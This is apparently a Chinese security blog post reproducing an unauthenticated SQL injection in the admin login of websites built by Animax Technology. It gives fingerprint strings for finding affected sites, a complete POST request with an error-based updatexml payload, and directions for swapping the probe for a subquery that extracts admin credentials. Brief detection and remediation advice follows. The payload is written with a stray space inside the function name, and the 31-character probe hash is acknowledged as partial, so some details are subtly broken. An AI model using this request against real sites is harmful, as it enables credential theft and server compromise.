Animax Technology SQL注入漏洞复现

Wayyt  3小时前

Animax Technology SQL注入漏洞复现

0x00 漏洞概述

Animax Technology 是一家位于印度德里 Rohini 地区的创意网站设计与开发服务商,其网站产品存在 SQL 注入漏洞:管理员登录校验接口在处理用户名参数时未对输入做任何过滤与参数化处理,攻击者可以通过构造报错注入载荷,使数据库的执行结果经报错通道直接回显到 HTTP 响应中。

漏洞描述指出,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点的用户个人信息)之外,甚至在数据库权限足够的情况下可以向服务器中写入一句话木马,从而获取 webshell 或进一步获取服务器系统权限。

0x01 影响范围

  • 影响对象:采用 Animax Technology 网站设计开发服务的站点(受影响版本无公开信息)
  • 漏洞类型:SQL注入(报错注入)
  • 危害等级:高危(CVSS 8.0)

该站点类产品的指纹特征是页面正文中出现 "Animax Technology" 字样,并伴随 "Developed by" 或 "Powered by" 的署名信息。第三方公开漏洞记录中,相关产品曾以 "AnimaxTechnology.in India Web Design 1.0" 的名称出现,页面运行环境涉及 Apache 2.4.33 与 OpenSSL 1.0.2。

0x02 漏洞分析

漏洞点位于管理员登录流程的用户名校验环节。该环节的正常功能是:接收前端提交的用户名与密码,到数据库中查询匹配记录,以判断是否存在对应的管理员账号。实现上,用户名参数被直接拼接进 SQL 语句执行,单引号未做转义,参数化查询也未启用,攻击者提交的任何 SQL 语法都会被数据库原样解析。

由于查询结果并不会直接回显在页面中,攻击者需要借助报错注入通道获取数据。MySQL 提供的 updatexm l() 函数在第二个参数不是合法 XPath 表达式时会抛出解析错误,并将该参数内容拼接进错误信息返回。将子查询结果通过 concat() 拼入该参数,错误信息就会携带查询结果出现在 HTTP 响应中,形成一条稳定的数据外带通道。

为了确认该通道可控,检测载荷中使用了一个固定探针:请求 md5(4196) 的计算结果。若响应中出现其对应的十六进制值 0fd4b8a8354a77a3fa75e3d97e7a34e,即证明注入载荷已被数据库执行且回显通道可用,此后只需将探针表达式替换为任意子查询,即可逐项读取数据库内容。

0x03 利用链与请求包

利用过程只有一个请求:向管理员登录校验接口提交报错注入载荷。实际测试时将请求目标替换为授权测试目标即可。

POST /admin/checkuser HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6

username=a' and updatexm l(1,concat(0x01,(md5(4196))),1)/**/and 'a'='a&password=asssss&submit=+Login+

请求体各参数含义如下:

  • username:注入点。原始值应为登录用户名,实际提交报错注入载荷。其中 a' 以单引号闭合原始语句中用户名的引用;updatexm l(1,concat(0x01,(md5(4196))),1) 构造 XPath 报错并携带探针子查询;/**/ 注释符替代空格,用于规避可能的空格过滤;结尾 and 'a'='a 补全语法,使整条 SQL 语句合法执行;
  • password:任意占位值(此处为 asssss),服务端对其真实性不做校验;
  • submit:表单提交按钮值,对应登录按钮的 Login

整个请求不需要携带任何 Cookie 或 Token,未认证即可触发。登录逻辑本身无需成功——注入发生在用户名查询阶段,密码参数仅作为表单完整性占位。

当数据库执行了注入载荷时,updatexm l() 抛出的错误信息中携带 concat(0x01,(md5(4196))) 的求值结果,出现在 HTTP 响应体中。响应中包含如下字符串即表明注入成功:

0fd4b8a8354a77a3fa75e3d97e7a34e

该字符串即 md5(4196) 的十六进制值(响应中实际回显完整 32 位,判定按包含匹配即可)。将载荷中的 md5(4196) 替换为形如 (select concat(username,0x3a,password) from admin limit 0,1) 的子查询(推断写法,具体表名字段名以实际数据库结构为准),即可通过同样的报错通道读出管理员凭据等敏感数据。

0x04 检测与修复建议

检测方面,可对站点 /admin/checkuser 接口发送上述请求包,若响应体中出现探针 md5 值,即可确认注入存在。站点运维者也可检索 Web 与数据库审计日志中的 updatexm lconcat( 等特征关键字,发现异常查询后及时处置并复核数据。

修复建议如下:

1. 核对厂商公告中的受影响范围,升级至官方修复版本或更高版本;升级前备份配置和数据;

2. 对所有进入 SQL 语句的用户输入改用参数化查询,并做严格输入校验;

3. 数据库账户遵循最小权限原则,禁用文件读写类权限,并部署 WAF 规则限制接口来源;

4. 检查 Web 和数据库审计日志,发现异常查询或数据导出后及时处置并复核数据。

0x05 参考资料

最新评论

昵称
邮箱
提交评论